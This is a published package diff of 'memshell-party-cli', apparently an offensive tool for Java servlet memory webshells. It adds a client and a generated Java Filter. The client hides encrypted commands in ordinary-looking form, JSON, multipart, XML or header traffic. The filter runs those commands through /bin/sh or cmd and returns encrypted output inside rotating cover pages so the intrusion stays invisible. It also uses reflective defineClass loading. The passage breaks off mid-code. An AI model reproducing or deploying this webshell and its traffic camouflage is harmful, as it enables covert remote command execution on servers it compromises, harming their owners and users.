memshell-party-cli 0.5.0 → 0.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +452 -425
- package/README.md +221 -419
- package/dist/cli.js +610 -80
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +74 -5
- package/dist/index.js +346 -33
- package/dist/index.js.map +1 -1
- package/package.json +1 -1
- package/skills/memshell-party/SKILL.md +24 -5
package/dist/cli.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
2
|
|
|
3
3
|
// src/cli.ts
|
|
4
|
-
import { Command as
|
|
4
|
+
import { Command as Command11, CommanderError as CommanderError2 } from "commander";
|
|
5
5
|
|
|
6
6
|
// src/api/client.ts
|
|
7
7
|
var ApiError = class extends Error {
|
|
@@ -44,6 +44,14 @@ var MemPartyClient = class {
|
|
|
44
44
|
getCommandConfigs() {
|
|
45
45
|
return this.request("GET", "/api/config/command/configs");
|
|
46
46
|
}
|
|
47
|
+
/**
|
|
48
|
+
* Servers the ResponseBody probe can write a response on.
|
|
49
|
+
* Only exists on backend >= 2.9.0 — callers should fall back to the full
|
|
50
|
+
* server list when this endpoint 404s.
|
|
51
|
+
*/
|
|
52
|
+
getProbeResponseBodyServers() {
|
|
53
|
+
return this.request("GET", "/api/config/probe/response-body/servers");
|
|
54
|
+
}
|
|
47
55
|
getVersion() {
|
|
48
56
|
return this.request("GET", "/api/version");
|
|
49
57
|
}
|
|
@@ -1508,6 +1516,13 @@ import { randomInt as randomInt2 } from "crypto";
|
|
|
1508
1516
|
import { existsSync, mkdirSync, readdirSync, readFileSync as readFileSync2, writeFileSync } from "fs";
|
|
1509
1517
|
import { homedir as homedir2 } from "os";
|
|
1510
1518
|
import { join as join2 } from "path";
|
|
1519
|
+
function inferBodyTemplateContentType(bodyTemplate) {
|
|
1520
|
+
const t = bodyTemplate.trimStart();
|
|
1521
|
+
if (t.startsWith("--")) return "multipart/form-data";
|
|
1522
|
+
if (t.startsWith("{") || t.startsWith("[")) return "application/json";
|
|
1523
|
+
if (t.startsWith("<")) return "text/xml";
|
|
1524
|
+
return null;
|
|
1525
|
+
}
|
|
1511
1526
|
function profileTemplates(profile) {
|
|
1512
1527
|
if (Array.isArray(profile.templates) && profile.templates.length > 0) {
|
|
1513
1528
|
return profile.templates;
|
|
@@ -1538,6 +1553,7 @@ function pickRequestShape(requests) {
|
|
|
1538
1553
|
return requests[requests.length - 1];
|
|
1539
1554
|
}
|
|
1540
1555
|
var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
|
|
1556
|
+
var PAYLOAD_PLACEHOLDER = "{{payload}}";
|
|
1541
1557
|
function profilesDir() {
|
|
1542
1558
|
const override = process.env.MEMPARTY_PROFILES;
|
|
1543
1559
|
return override ? override : join2(homedir2(), ".memparty", "profiles");
|
|
@@ -1559,8 +1575,10 @@ function validateProfile(profile) {
|
|
|
1559
1575
|
throw new Error("profile needs at least one template (templates[] or legacy template)");
|
|
1560
1576
|
}
|
|
1561
1577
|
templates.forEach((t, i) => {
|
|
1562
|
-
if (!t.template || !/<!doctype\s+html|<html|<head/i.test(t.template)) {
|
|
1563
|
-
throw new Error(
|
|
1578
|
+
if (!t.template || !t.template.includes(PAYLOAD_PLACEHOLDER) && !/<!doctype\s+html|<html|<head/i.test(t.template)) {
|
|
1579
|
+
throw new Error(
|
|
1580
|
+
`templates[${i}].template must be a full HTML page, or carry the ${PAYLOAD_PLACEHOLDER} placeholder (any text format)`
|
|
1581
|
+
);
|
|
1564
1582
|
}
|
|
1565
1583
|
if (!t.contentType) {
|
|
1566
1584
|
throw new Error(`templates[${i}].contentType is required (e.g. "text/html; charset=utf-8")`);
|
|
@@ -1576,6 +1594,24 @@ function validateProfile(profile) {
|
|
|
1576
1594
|
if (req.secretIn !== void 0 && !["body", "query", "header"].includes(req.secretIn)) {
|
|
1577
1595
|
throw new Error(`request[${ri}].secretIn must be body | query | header`);
|
|
1578
1596
|
}
|
|
1597
|
+
if (req.bodyStyle !== void 0 && !["form", "json"].includes(req.bodyStyle)) {
|
|
1598
|
+
throw new Error(`request[${ri}].bodyStyle must be form | json`);
|
|
1599
|
+
}
|
|
1600
|
+
if (req.bodyTemplate !== void 0) {
|
|
1601
|
+
if (!req.bodyTemplate.includes(PAYLOAD_PLACEHOLDER)) {
|
|
1602
|
+
throw new Error(`request[${ri}].bodyTemplate must carry the ${PAYLOAD_PLACEHOLDER} placeholder`);
|
|
1603
|
+
}
|
|
1604
|
+
if (req.secretIn !== void 0 && req.secretIn !== "body") {
|
|
1605
|
+
throw new Error(`request[${ri}].bodyTemplate only applies to secretIn=body`);
|
|
1606
|
+
}
|
|
1607
|
+
}
|
|
1608
|
+
if (req.headers !== void 0) {
|
|
1609
|
+
for (const [k, v] of Object.entries(req.headers)) {
|
|
1610
|
+
if (typeof v !== "string" || !k) {
|
|
1611
|
+
throw new Error(`request[${ri}].headers must be a string map`);
|
|
1612
|
+
}
|
|
1613
|
+
}
|
|
1614
|
+
}
|
|
1579
1615
|
for (const [i, f] of (req.fields ?? []).entries()) {
|
|
1580
1616
|
if (!f.name || !/^[A-Za-z0-9_.-]+$/.test(f.name)) {
|
|
1581
1617
|
throw new Error(`request[${ri}].fields[${i}].name must be a form-field name`);
|
|
@@ -1747,7 +1783,6 @@ function renderFieldValue(value) {
|
|
|
1747
1783
|
(_m, a, b) => String(randomInt(Number(a), Number(b) + 1))
|
|
1748
1784
|
);
|
|
1749
1785
|
}
|
|
1750
|
-
var RIGHT_MARKER = '";';
|
|
1751
1786
|
function encryptField2(plaintext, aesKey, cipher = LEGACY_CIPHER) {
|
|
1752
1787
|
return encryptField(plaintext, aesKey, cipher);
|
|
1753
1788
|
}
|
|
@@ -1760,6 +1795,50 @@ function buildFormBody(fields) {
|
|
|
1760
1795
|
"utf8"
|
|
1761
1796
|
);
|
|
1762
1797
|
}
|
|
1798
|
+
function buildJsonBody(fields) {
|
|
1799
|
+
const obj = {};
|
|
1800
|
+
for (const f of fields) obj[f.name] = f.value;
|
|
1801
|
+
return Buffer.from(JSON.stringify(obj), "utf8");
|
|
1802
|
+
}
|
|
1803
|
+
function renderBodyTemplate(template, payload) {
|
|
1804
|
+
return Buffer.from(renderFieldValue(template.replaceAll("{{payload}}", payload)), "utf8");
|
|
1805
|
+
}
|
|
1806
|
+
function escapeRegExp(s) {
|
|
1807
|
+
return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
|
|
1808
|
+
}
|
|
1809
|
+
function decodeJsonBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
|
|
1810
|
+
const text = body.toString("utf8");
|
|
1811
|
+
const m = new RegExp(`"${escapeRegExp(pass)}"\\s*:\\s*"([^"]*)"`).exec(text);
|
|
1812
|
+
if (!m) return null;
|
|
1813
|
+
try {
|
|
1814
|
+
return decryptField2(m[1], aesKey, cipher);
|
|
1815
|
+
} catch {
|
|
1816
|
+
return null;
|
|
1817
|
+
}
|
|
1818
|
+
}
|
|
1819
|
+
function decodeMultipartBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
|
|
1820
|
+
const text = body.toString("utf8");
|
|
1821
|
+
const m = new RegExp(`name="${escapeRegExp(pass)}"[^\\n]*\\r?\\n(\\r?\\n|[^\\n]*\\r?\\n)*\\r?\\n([^\\r\\n]*)`).exec(text);
|
|
1822
|
+
if (!m) return null;
|
|
1823
|
+
try {
|
|
1824
|
+
return decryptField2(m[2], aesKey, cipher);
|
|
1825
|
+
} catch {
|
|
1826
|
+
return null;
|
|
1827
|
+
}
|
|
1828
|
+
}
|
|
1829
|
+
function decodeXmlBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
|
|
1830
|
+
const text = body.toString("utf8");
|
|
1831
|
+
const m = new RegExp(`<${escapeRegExp(pass)}>([^<]*)</${escapeRegExp(pass)}>`).exec(text);
|
|
1832
|
+
if (!m) return null;
|
|
1833
|
+
try {
|
|
1834
|
+
return decryptField2(m[1], aesKey, cipher);
|
|
1835
|
+
} catch {
|
|
1836
|
+
return null;
|
|
1837
|
+
}
|
|
1838
|
+
}
|
|
1839
|
+
function decodeAnyBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
|
|
1840
|
+
return decodeJsonBody(body, pass, aesKey, cipher) ?? decodeMultipartBody(body, pass, aesKey, cipher) ?? decodeXmlBody(body, pass, aesKey, cipher);
|
|
1841
|
+
}
|
|
1763
1842
|
function decodeRequestBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
|
|
1764
1843
|
const text = body.toString("utf8");
|
|
1765
1844
|
for (const pair of text.split("&")) {
|
|
@@ -1780,13 +1859,32 @@ function injectFragment(templateHtml, fragment) {
|
|
|
1780
1859
|
if (idx === -1) return templateHtml + fragment;
|
|
1781
1860
|
return templateHtml.slice(0, idx) + fragment + templateHtml.slice(idx);
|
|
1782
1861
|
}
|
|
1783
|
-
function
|
|
1784
|
-
const start =
|
|
1862
|
+
function extractBetween(text, left, right) {
|
|
1863
|
+
const start = text.indexOf(left);
|
|
1785
1864
|
if (start === -1) return null;
|
|
1786
|
-
const valueStart = start +
|
|
1787
|
-
|
|
1865
|
+
const valueStart = start + left.length;
|
|
1866
|
+
if (right === "") return text.slice(valueStart);
|
|
1867
|
+
const end = text.indexOf(right, valueStart);
|
|
1788
1868
|
if (end === -1) return null;
|
|
1789
|
-
return
|
|
1869
|
+
return text.slice(valueStart, end);
|
|
1870
|
+
}
|
|
1871
|
+
function templateDelimiters(templates, markers) {
|
|
1872
|
+
const out = [];
|
|
1873
|
+
let markerUsed = false;
|
|
1874
|
+
for (const t of templates) {
|
|
1875
|
+
const idx = t.template.indexOf("{{payload}}");
|
|
1876
|
+
if (idx !== -1) {
|
|
1877
|
+
out.push({
|
|
1878
|
+
left: t.template.slice(0, idx),
|
|
1879
|
+
right: t.template.slice(idx + "{{payload}}".length)
|
|
1880
|
+
});
|
|
1881
|
+
} else if (!markerUsed) {
|
|
1882
|
+
out.push({ left: markers.left, right: markers.right });
|
|
1883
|
+
markerUsed = true;
|
|
1884
|
+
}
|
|
1885
|
+
}
|
|
1886
|
+
if (out.length === 0) out.push({ left: markers.left, right: markers.right });
|
|
1887
|
+
return out;
|
|
1790
1888
|
}
|
|
1791
1889
|
|
|
1792
1890
|
// src/connect/mimic.ts
|
|
@@ -1828,6 +1926,7 @@ async function roundTrip(req, ctx, plaintext) {
|
|
|
1828
1926
|
const shape = pickRequestShape(ctx.profile ? profileRequests(ctx.profile) : []);
|
|
1829
1927
|
const secretField = shape?.secretField ?? ctx.pass;
|
|
1830
1928
|
const secretIn = shape?.secretIn ?? "body";
|
|
1929
|
+
const bodyStyle = shape?.bodyStyle ?? "form";
|
|
1831
1930
|
const cipher = encryptField2(Buffer.from(plaintext, "utf8"), ctx.aesKey, ctx.cipher);
|
|
1832
1931
|
const decoys = (shape?.fields ?? []).map((f) => ({
|
|
1833
1932
|
name: f.name,
|
|
@@ -1841,11 +1940,29 @@ async function roundTrip(req, ctx, plaintext) {
|
|
|
1841
1940
|
body = Buffer.alloc(0);
|
|
1842
1941
|
} else if (secretIn === "header") {
|
|
1843
1942
|
extraHeaders[secretField] = cipher;
|
|
1844
|
-
body = buildFormBody(decoys);
|
|
1943
|
+
body = bodyStyle === "json" ? buildJsonBody(decoys) : buildFormBody(decoys);
|
|
1944
|
+
} else if (shape?.bodyTemplate) {
|
|
1945
|
+
body = renderBodyTemplate(shape.bodyTemplate, cipher);
|
|
1845
1946
|
} else {
|
|
1846
|
-
body = buildFormBody([...decoys, { name: secretField, value: cipher }]);
|
|
1847
|
-
}
|
|
1848
|
-
const
|
|
1947
|
+
body = bodyStyle === "json" ? buildJsonBody([...decoys, { name: secretField, value: cipher }]) : buildFormBody([...decoys, { name: secretField, value: cipher }]);
|
|
1948
|
+
}
|
|
1949
|
+
const baseHeaders = { ...BROWSER_HEADERS };
|
|
1950
|
+
if (secretIn === "query") delete baseHeaders["Content-Type"];
|
|
1951
|
+
else if (shape?.bodyTemplate) {
|
|
1952
|
+
const t = shape.bodyTemplate.trimStart();
|
|
1953
|
+
if (t.startsWith("--")) {
|
|
1954
|
+
const boundary = t.split(/\r?\n/, 1)[0].slice(2);
|
|
1955
|
+
baseHeaders["Content-Type"] = `multipart/form-data; boundary=${boundary}`;
|
|
1956
|
+
} else {
|
|
1957
|
+
const inferred = inferBodyTemplateContentType(shape.bodyTemplate);
|
|
1958
|
+
if (inferred) baseHeaders["Content-Type"] = inferred;
|
|
1959
|
+
else delete baseHeaders["Content-Type"];
|
|
1960
|
+
}
|
|
1961
|
+
} else if (bodyStyle === "json") baseHeaders["Content-Type"] = "application/json";
|
|
1962
|
+
const headers = buildHeaders(
|
|
1963
|
+
{ ...baseHeaders, ...extraHeaders, ...shape?.headers ?? {} },
|
|
1964
|
+
req.common
|
|
1965
|
+
);
|
|
1849
1966
|
let res;
|
|
1850
1967
|
try {
|
|
1851
1968
|
res = await postRaw(requestUrl, body, {
|
|
@@ -1871,7 +1988,16 @@ async function roundTrip(req, ctx, plaintext) {
|
|
|
1871
1988
|
durationMs: res.durationMs
|
|
1872
1989
|
};
|
|
1873
1990
|
}
|
|
1874
|
-
const
|
|
1991
|
+
const text = res.body.toString("utf8");
|
|
1992
|
+
const delimiters = templateDelimiters(
|
|
1993
|
+
ctx.profile ? profileTemplates(ctx.profile) : [],
|
|
1994
|
+
ctx.markers
|
|
1995
|
+
);
|
|
1996
|
+
let b64 = null;
|
|
1997
|
+
for (const d of delimiters) {
|
|
1998
|
+
b64 = extractBetween(text, d.left, d.right);
|
|
1999
|
+
if (b64 !== null) break;
|
|
2000
|
+
}
|
|
1875
2001
|
if (b64 === null) {
|
|
1876
2002
|
return {
|
|
1877
2003
|
ok: false,
|
|
@@ -2437,9 +2563,98 @@ function resolveJreVersion(input3) {
|
|
|
2437
2563
|
}
|
|
2438
2564
|
|
|
2439
2565
|
// src/custom/java-template.ts
|
|
2566
|
+
function renderWrapperJava() {
|
|
2567
|
+
return `package mimic;
|
|
2568
|
+
|
|
2569
|
+
import java.io.*;
|
|
2570
|
+
import javax.servlet.*;
|
|
2571
|
+
import javax.servlet.http.*;
|
|
2572
|
+
|
|
2573
|
+
/** Re-exposes a consumed request body to downstream filters/servlets. */
|
|
2574
|
+
public class CachedBody extends HttpServletRequestWrapper {
|
|
2575
|
+
private final byte[] body;
|
|
2576
|
+
|
|
2577
|
+
public CachedBody(HttpServletRequest req, byte[] body) {
|
|
2578
|
+
super(req);
|
|
2579
|
+
this.body = body;
|
|
2580
|
+
}
|
|
2581
|
+
|
|
2582
|
+
public ServletInputStream getInputStream() {
|
|
2583
|
+
return new Stream(body);
|
|
2584
|
+
}
|
|
2585
|
+
|
|
2586
|
+
public BufferedReader getReader() {
|
|
2587
|
+
return new BufferedReader(new InputStreamReader(getInputStream()));
|
|
2588
|
+
}
|
|
2589
|
+
|
|
2590
|
+
static class Stream extends ServletInputStream {
|
|
2591
|
+
private final ByteArrayInputStream in;
|
|
2592
|
+
|
|
2593
|
+
Stream(byte[] body) {
|
|
2594
|
+
this.in = new ByteArrayInputStream(body);
|
|
2595
|
+
}
|
|
2596
|
+
|
|
2597
|
+
public int read() {
|
|
2598
|
+
return in.read();
|
|
2599
|
+
}
|
|
2600
|
+
|
|
2601
|
+
public boolean isFinished() {
|
|
2602
|
+
return in.available() == 0;
|
|
2603
|
+
}
|
|
2604
|
+
|
|
2605
|
+
public boolean isReady() {
|
|
2606
|
+
return true;
|
|
2607
|
+
}
|
|
2608
|
+
|
|
2609
|
+
public void setReadListener(ReadListener l) {}
|
|
2610
|
+
}
|
|
2611
|
+
}
|
|
2612
|
+
`;
|
|
2613
|
+
}
|
|
2440
2614
|
function javaStringLiteral(s) {
|
|
2441
2615
|
return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
|
|
2442
2616
|
}
|
|
2617
|
+
function wrapperLoaderMethods(opts) {
|
|
2618
|
+
return `
|
|
2619
|
+
/** wrapper class bytes (mimic.CachedBody + its stream) \u2014 embedded so the
|
|
2620
|
+
uploaded shell stays a single self-contained class file */
|
|
2621
|
+
static final String WRAPPER_B64 = "${opts.wrapper.bodyB64}";
|
|
2622
|
+
static final String WRAPPER_STREAM_B64 = "${opts.wrapper.streamB64}";
|
|
2623
|
+
|
|
2624
|
+
static Class<?> forNameQuiet(String name, ClassLoader cl) {
|
|
2625
|
+
try {
|
|
2626
|
+
return Class.forName(name, true, cl);
|
|
2627
|
+
} catch (Throwable t) {
|
|
2628
|
+
return null;
|
|
2629
|
+
}
|
|
2630
|
+
}
|
|
2631
|
+
|
|
2632
|
+
static Class<?> defineQuiet(ClassLoader cl, String name, String b64) {
|
|
2633
|
+
try {
|
|
2634
|
+
java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass",
|
|
2635
|
+
String.class, byte[].class, int.class, int.class);
|
|
2636
|
+
m.setAccessible(true);
|
|
2637
|
+
byte[] bytes = java.util.Base64.getDecoder().decode(b64);
|
|
2638
|
+
return (Class<?>) m.invoke(cl, name, bytes, 0, bytes.length);
|
|
2639
|
+
} catch (Throwable t) {
|
|
2640
|
+
return null; // another shell in this JVM already defined it
|
|
2641
|
+
}
|
|
2642
|
+
}
|
|
2643
|
+
|
|
2644
|
+
/** Wrap the request so downstream code can re-read the JSON body we consumed. */
|
|
2645
|
+
static HttpServletRequest wrapBody(HttpServletRequest req, byte[] body) throws Exception {
|
|
2646
|
+
ClassLoader cl = ${opts.className}.class.getClassLoader();
|
|
2647
|
+
Class<?> c = forNameQuiet("mimic.CachedBody", cl);
|
|
2648
|
+
if (c == null) {
|
|
2649
|
+
defineQuiet(cl, "mimic.CachedBody$Stream", WRAPPER_STREAM_B64);
|
|
2650
|
+
c = defineQuiet(cl, "mimic.CachedBody", WRAPPER_B64);
|
|
2651
|
+
if (c == null) c = forNameQuiet("mimic.CachedBody", cl);
|
|
2652
|
+
}
|
|
2653
|
+
return (HttpServletRequest) c.getConstructor(HttpServletRequest.class, byte[].class)
|
|
2654
|
+
.newInstance(req, body);
|
|
2655
|
+
}
|
|
2656
|
+
`;
|
|
2657
|
+
}
|
|
2443
2658
|
var MD5_METHOD = String.raw`
|
|
2444
2659
|
static String md5Hex(String s) throws Exception {
|
|
2445
2660
|
MessageDigest m = MessageDigest.getInstance("MD5");
|
|
@@ -2575,9 +2790,11 @@ function sharedMethods(cipher) {
|
|
|
2575
2790
|
return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
|
|
2576
2791
|
}
|
|
2577
2792
|
function renderFilterJava(opts) {
|
|
2578
|
-
const { className, pass, secret, fields, templates, cipher } = opts;
|
|
2793
|
+
const { className, pass, secret, fields, bodyContentTypes, templates, cipher } = opts;
|
|
2579
2794
|
const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
|
|
2580
|
-
const
|
|
2795
|
+
const bodyCtsJava = bodyContentTypes.map((n) => `"${javaStringLiteral(n)}"`).join(", ");
|
|
2796
|
+
const tplsJava = templates.map((t) => ` "${javaStringLiteral(t.template)}"`).join(",\n");
|
|
2797
|
+
const ctsJava = templates.map((t) => `"${javaStringLiteral(t.contentType)}"`).join(", ");
|
|
2581
2798
|
return `package mimic;
|
|
2582
2799
|
|
|
2583
2800
|
import java.io.*;
|
|
@@ -2592,37 +2809,120 @@ import javax.servlet.http.*;
|
|
|
2592
2809
|
* mimic protocol server (matches src/connect/mimic-codecs.ts):
|
|
2593
2810
|
* cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
|
|
2594
2811
|
*
|
|
2595
|
-
* Detection uses getParameter()/getHeader()
|
|
2596
|
-
* stream
|
|
2597
|
-
*
|
|
2598
|
-
*
|
|
2599
|
-
*
|
|
2812
|
+
* Detection uses getParameter()/getHeader() first, never touching the body
|
|
2813
|
+
* stream. For JSON bodies it reads the stream ONCE and re-exposes it via a
|
|
2814
|
+
* caching wrapper, so the app's own endpoints (and other shells behind us)
|
|
2815
|
+
* still see the body. Anything that is not ours falls through chain.doFilter;
|
|
2816
|
+
* any error answers with the plain cover template.
|
|
2600
2817
|
*/
|
|
2601
2818
|
public class ${className} implements Filter {
|
|
2602
2819
|
/** carriers that may hold the ciphertext (form fields / headers, from the profile) */
|
|
2603
2820
|
static final String[] FIELDS = { ${fieldsJava} };
|
|
2821
|
+
/** body Content-Type needles the shell owns \u2014 anything else passes with its body untouched */
|
|
2822
|
+
static final String[] BODY_CTS = { ${bodyCtsJava} };
|
|
2604
2823
|
/** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
|
|
2605
2824
|
static final String PASS = "${javaStringLiteral(pass)}";
|
|
2606
2825
|
static final String SECRET = "${javaStringLiteral(secret)}";
|
|
2607
|
-
/** Cover
|
|
2826
|
+
/** Cover bodies from the site profile \u2014 rotated per response so the skin varies. */
|
|
2608
2827
|
static final String[] TPLS = {
|
|
2609
2828
|
${tplsJava}
|
|
2610
2829
|
};
|
|
2830
|
+
/** Content-Type of each cover body (parallel to TPLS). */
|
|
2831
|
+
static final String[] CTS = { ${ctsJava} };
|
|
2611
2832
|
|
|
2612
2833
|
public void init(FilterConfig filterConfig) {}
|
|
2613
2834
|
public void destroy() {}
|
|
2614
2835
|
${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
|
|
2836
|
+
static byte[] readAll(InputStream in) throws IOException {
|
|
2837
|
+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
2838
|
+
byte[] buf = new byte[8192];
|
|
2839
|
+
int n;
|
|
2840
|
+
while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
|
|
2841
|
+
return bos.toByteArray();
|
|
2842
|
+
}
|
|
2843
|
+
|
|
2844
|
+
/** read the body only when its Content-Type is one the profile actually uses */
|
|
2845
|
+
static boolean ctMatches(String ct) {
|
|
2846
|
+
String l = ct.toLowerCase();
|
|
2847
|
+
for (String n : BODY_CTS) if (l.contains(n)) return true;
|
|
2848
|
+
return false;
|
|
2849
|
+
}
|
|
2850
|
+
|
|
2851
|
+
/** minimal "field":"value" extraction \u2014 cipher values carry no quotes/escapes */
|
|
2852
|
+
static String jsonField(String body, String field) {
|
|
2853
|
+
String needle = "\\"" + field + "\\"";
|
|
2854
|
+
int i = body.indexOf(needle);
|
|
2855
|
+
if (i < 0) return null;
|
|
2856
|
+
int colon = body.indexOf(':', i + needle.length());
|
|
2857
|
+
if (colon < 0) return null;
|
|
2858
|
+
int q1 = body.indexOf('"', colon + 1);
|
|
2859
|
+
if (q1 < 0) return null;
|
|
2860
|
+
int q2 = body.indexOf('"', q1 + 1);
|
|
2861
|
+
if (q2 < 0) return null;
|
|
2862
|
+
return body.substring(q1 + 1, q2);
|
|
2863
|
+
}
|
|
2864
|
+
|
|
2865
|
+
/** minimal multipart extraction: the value follows the part headers of name="field" */
|
|
2866
|
+
static String multipartField(String body, String field) {
|
|
2867
|
+
String needle = "name=\\"" + field + "\\"";
|
|
2868
|
+
int i = body.indexOf(needle);
|
|
2869
|
+
if (i < 0) return null;
|
|
2870
|
+
int sep = body.indexOf("\\r\\n\\r\\n", i + needle.length());
|
|
2871
|
+
int sepLen = 4;
|
|
2872
|
+
if (sep < 0) { sep = body.indexOf("\\n\\n", i + needle.length()); sepLen = 2; }
|
|
2873
|
+
if (sep < 0) return null;
|
|
2874
|
+
int start = sep + sepLen;
|
|
2875
|
+
int end = body.indexOf('\\n', start);
|
|
2876
|
+
if (end < 0) end = body.length();
|
|
2877
|
+
String v = body.substring(start, end).trim();
|
|
2878
|
+
return v.isEmpty() ? null : v;
|
|
2879
|
+
}
|
|
2880
|
+
|
|
2881
|
+
/** minimal XML extraction: <field>value</field> */
|
|
2882
|
+
static String xmlField(String body, String field) {
|
|
2883
|
+
String open = "<" + field + ">";
|
|
2884
|
+
int i = body.indexOf(open);
|
|
2885
|
+
if (i < 0) return null;
|
|
2886
|
+
int start = i + open.length();
|
|
2887
|
+
int end = body.indexOf("</" + field + ">", start);
|
|
2888
|
+
if (end < 0) return null;
|
|
2889
|
+
return body.substring(start, end);
|
|
2890
|
+
}
|
|
2891
|
+
${wrapperLoaderMethods(opts)}
|
|
2615
2892
|
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
|
|
2616
2893
|
throws IOException, ServletException {
|
|
2894
|
+
HttpServletRequest httpReq = request instanceof HttpServletRequest
|
|
2895
|
+
? (HttpServletRequest) request : null;
|
|
2617
2896
|
String value = null;
|
|
2618
2897
|
for (String f : FIELDS) {
|
|
2619
2898
|
value = request.getParameter(f);
|
|
2620
|
-
if (value == null &&
|
|
2899
|
+
if (value == null && httpReq != null) {
|
|
2621
2900
|
// secretIn=header: the ciphertext may ride a header instead of a form field
|
|
2622
|
-
value =
|
|
2901
|
+
value = httpReq.getHeader(f);
|
|
2623
2902
|
}
|
|
2624
2903
|
if (value != null) break;
|
|
2625
2904
|
}
|
|
2905
|
+
if (value == null && httpReq != null) {
|
|
2906
|
+
// the ciphertext may ride a raw body of any bodyTemplate shape
|
|
2907
|
+
// (JSON / multipart / XML\u2026). Read it once and re-expose it
|
|
2908
|
+
// downstream via the caching wrapper.
|
|
2909
|
+
String ct = httpReq.getContentType();
|
|
2910
|
+
if (ct != null && ctMatches(ct)) {
|
|
2911
|
+
try {
|
|
2912
|
+
byte[] bodyBytes = readAll(httpReq.getInputStream());
|
|
2913
|
+
String bodyText = new String(bodyBytes, "UTF-8");
|
|
2914
|
+
for (String f : FIELDS) {
|
|
2915
|
+
value = jsonField(bodyText, f);
|
|
2916
|
+
if (value == null) value = multipartField(bodyText, f);
|
|
2917
|
+
if (value == null) value = xmlField(bodyText, f);
|
|
2918
|
+
if (value != null) break;
|
|
2919
|
+
}
|
|
2920
|
+
request = wrapBody(httpReq, bodyBytes);
|
|
2921
|
+
} catch (Throwable wrapperFailed) {
|
|
2922
|
+
// the body is already consumed \u2014 pass through as-is
|
|
2923
|
+
}
|
|
2924
|
+
}
|
|
2925
|
+
}
|
|
2626
2926
|
if (value == null) {
|
|
2627
2927
|
chain.doFilter(request, response);
|
|
2628
2928
|
return;
|
|
@@ -2634,11 +2934,13 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
|
|
|
2634
2934
|
cmd = decryptField(value, aesKey);
|
|
2635
2935
|
} catch (Exception notOurs) {
|
|
2636
2936
|
// the field exists but doesn't decrypt \u2014 this is someone else's
|
|
2637
|
-
// legitimate
|
|
2937
|
+
// legitimate request (e.g. the real login POST), stay invisible
|
|
2638
2938
|
chain.doFilter(request, response);
|
|
2639
2939
|
return;
|
|
2640
2940
|
}
|
|
2641
|
-
|
|
2941
|
+
int ti = new java.util.Random().nextInt(TPLS.length);
|
|
2942
|
+
String tpl = TPLS[ti];
|
|
2943
|
+
String tplCt = CTS[ti];
|
|
2642
2944
|
try {
|
|
2643
2945
|
String command = new String(cmd, "UTF-8");
|
|
2644
2946
|
boolean win = System.getProperty("os.name").toLowerCase().contains("win");
|
|
@@ -2647,22 +2949,37 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
|
|
|
2647
2949
|
: new ProcessBuilder("/bin/sh", "-c", command);
|
|
2648
2950
|
pb.redirectErrorStream(true);
|
|
2649
2951
|
Process proc = pb.start();
|
|
2650
|
-
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
2651
|
-
InputStream in = proc.getInputStream();
|
|
2652
|
-
byte[] buf = new byte[8192];
|
|
2653
|
-
int n;
|
|
2654
|
-
while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
|
|
2655
2952
|
proc.waitFor();
|
|
2656
|
-
String payload = encryptField(
|
|
2657
|
-
String
|
|
2658
|
-
|
|
2659
|
-
|
|
2660
|
-
|
|
2953
|
+
String payload = encryptField(readAll(proc.getInputStream()), aesKey);
|
|
2954
|
+
String page;
|
|
2955
|
+
if (tpl.contains("{{payload}}")) {
|
|
2956
|
+
// placeholder template (any text format): substitute exactly there
|
|
2957
|
+
page = tpl.replace("{{payload}}", payload);
|
|
2958
|
+
} else {
|
|
2959
|
+
String fragment = wrapPayload(payload, PASS + SECRET);
|
|
2960
|
+
int idx = tpl.toLowerCase().lastIndexOf("</body>");
|
|
2961
|
+
page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
|
|
2962
|
+
}
|
|
2963
|
+
response.setContentType(tplCt);
|
|
2661
2964
|
response.setCharacterEncoding("UTF-8");
|
|
2662
|
-
|
|
2965
|
+
if (tplCt.contains("event-stream")) {
|
|
2966
|
+
// flush chunk by chunk \u2014 a real SSE endpoint streams, a
|
|
2967
|
+
// one-shot body is the wrong shape on the wire
|
|
2968
|
+
java.io.PrintWriter w = response.getWriter();
|
|
2969
|
+
for (String chunk : page.split("\\n\\n", -1)) {
|
|
2970
|
+
if (chunk.isEmpty()) continue;
|
|
2971
|
+
w.write(chunk);
|
|
2972
|
+
w.write("\\n\\n");
|
|
2973
|
+
w.flush();
|
|
2974
|
+
response.flushBuffer();
|
|
2975
|
+
try { Thread.sleep(30); } catch (InterruptedException ie) { break; }
|
|
2976
|
+
}
|
|
2977
|
+
} else {
|
|
2978
|
+
response.getWriter().write(page);
|
|
2979
|
+
}
|
|
2663
2980
|
} catch (Exception e) {
|
|
2664
|
-
// behave like the cover
|
|
2665
|
-
response.setContentType(
|
|
